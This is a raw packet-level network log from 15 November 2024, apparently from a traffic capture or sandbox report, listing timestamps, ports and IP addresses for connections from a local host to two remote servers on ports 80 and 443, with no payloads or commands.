Nov 15, 2024 13:18:31.505903959 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.505923033 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.512214899 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.512226105 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.512510061 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.515681982 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.515698910 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.519390106 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.519395113 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.529670000 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.529725075 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.529757977 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.529815912 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.536228895 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.540796995 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.553690910 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.553706884 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.553720951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.553740978 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.553828955 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.553844929 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.553857088 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.553858042 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.553900003 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.553917885 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.553932905 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.553947926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.553961992 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.553971052 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.553988934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554001093 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554003000 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554030895 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554032087 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554044962 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554059982 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554079056 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554090977 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554102898 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554127932 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554178953 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554193974 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554208994 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554224014 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554245949 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554263115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554279089 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554305077 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554356098 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554371119 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554385900 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554404020 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554419041 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554455996 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554471016 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554487944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554502964 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554528952 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554563046 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554578066 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554583073 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554601908 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554617882 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554622889 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554640055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554663897 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554685116 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554687023 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554708958 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554712057 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554728031 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554743052 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554749012 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554759026 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554794073 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554799080 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554815054 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554836035 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.554867983 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554883003 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.554903984 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.555387974 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.555418015 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.561597109 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.561605930 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.567920923 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.567945004 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.567960978 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.568005085 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.568032980 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.568185091 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.568200111 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.568214893 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.568229914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.568243980 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.568279982 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.568315029 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.568327904 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569305897 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569349051 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.569351912 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569366932 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569394112 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.569437027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569451094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569480896 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.569525957 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569544077 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569575071 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.569610119 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569626093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569641113 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569655895 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569665909 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.569696903 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.569751978 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569766998 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569783926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569794893 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.569797993 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569814920 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.569824934 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.569852114 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.570029020 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570081949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570099115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570148945 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.570214033 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570240974 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570255995 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570269108 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570274115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570281982 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.570282936 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570297956 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570312977 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.570343971 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.570379019 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570394993 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570410967 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570425987 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570452929 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.570487022 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570501089 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570528030 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.570539951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570547104 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.570555925 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570571899 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570599079 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.570602894 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570645094 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.570653915 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570669889 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570756912 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570771933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570786953 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570800066 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.570831060 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.570839882 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570854902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570869923 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570880890 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.570888042 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.570914030 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.570982933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571001053 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571017027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571033955 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571038961 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.571059942 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.571103096 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571118116 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571125984 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571141005 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571155071 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571155071 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.571206093 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.571206093 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.571229935 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571244955 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571259975 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571274042 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571289062 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.571319103 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.571346998 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571362972 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571376085 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571407080 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.571417093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571430922 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571456909 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.571460009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571497917 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.571537971 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571552992 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.571649075 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.571758986 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.611217022 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.611246109 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.611270905 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.611309052 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.611634016 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.611689091 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.611704111 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.611720085 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.611732006 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.611778021 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.639803886 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.639988899 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.640091896 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.640502930 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.640518904 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.640552044 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.640558004 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.644685984 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.644853115 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.644941092 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.645217896 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.645307064 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.645380020 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.645601988 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.645620108 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.645709038 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.645714045 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.645929098 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.645965099 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.647825956 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.647846937 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.647907019 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.648358107 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.648364067 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.651459932 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.652739048 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.652789116 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.652801991 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.652817011 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.652846098 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.652877092 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.676738977 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.676832914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.676846981 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.676871061 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.676878929 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.676887989 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.676907063 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.676923037 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.676955938 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.677064896 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677082062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677097082 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677138090 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.677226067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677239895 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677254915 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677268028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677275896 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.677295923 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677305937 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.677311897 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677314997 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677329063 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677355051 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.677400112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677439928 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.677464962 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677479982 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677495003 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677520990 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.677597046 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677612066 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677628040 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677640915 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677644014 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.677670956 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.677726984 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677742958 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677750111 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677778006 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677784920 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.677791119 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677803993 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677834988 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677838087 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.677848101 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677890062 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.677923918 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677939892 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.677968025 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.678039074 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.678078890 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.686104059 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.686182022 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.686320066 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.693164110 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.693181992 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.693195105 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.693202019 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.709450006 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.721271992 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.721304893 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.721935987 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.721942902 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.734622955 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.734663010 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.734890938 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.735042095 CET	49777	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.735061884 CET	443	49777	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.850244999 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.850311041 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.850419044 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.850790024 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.850815058 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.850830078 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.850837946 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.853395939 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.853421926 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.853476048 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.853924990 CET	49778	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.853935003 CET	443	49778	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.889915943 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.890306950 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.890335083 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.890733004 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.890738964 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.019195080 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.019823074 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.019890070 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.019931078 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.019952059 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.019964933 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.019972086 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.022373915 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.022389889 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.022681952 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.022681952 CET	49779	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.022706985 CET	443	49779	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.379722118 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:32.380175114 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:32.380189896 CET	443	49776	13.107.246.45	192.168.2.7
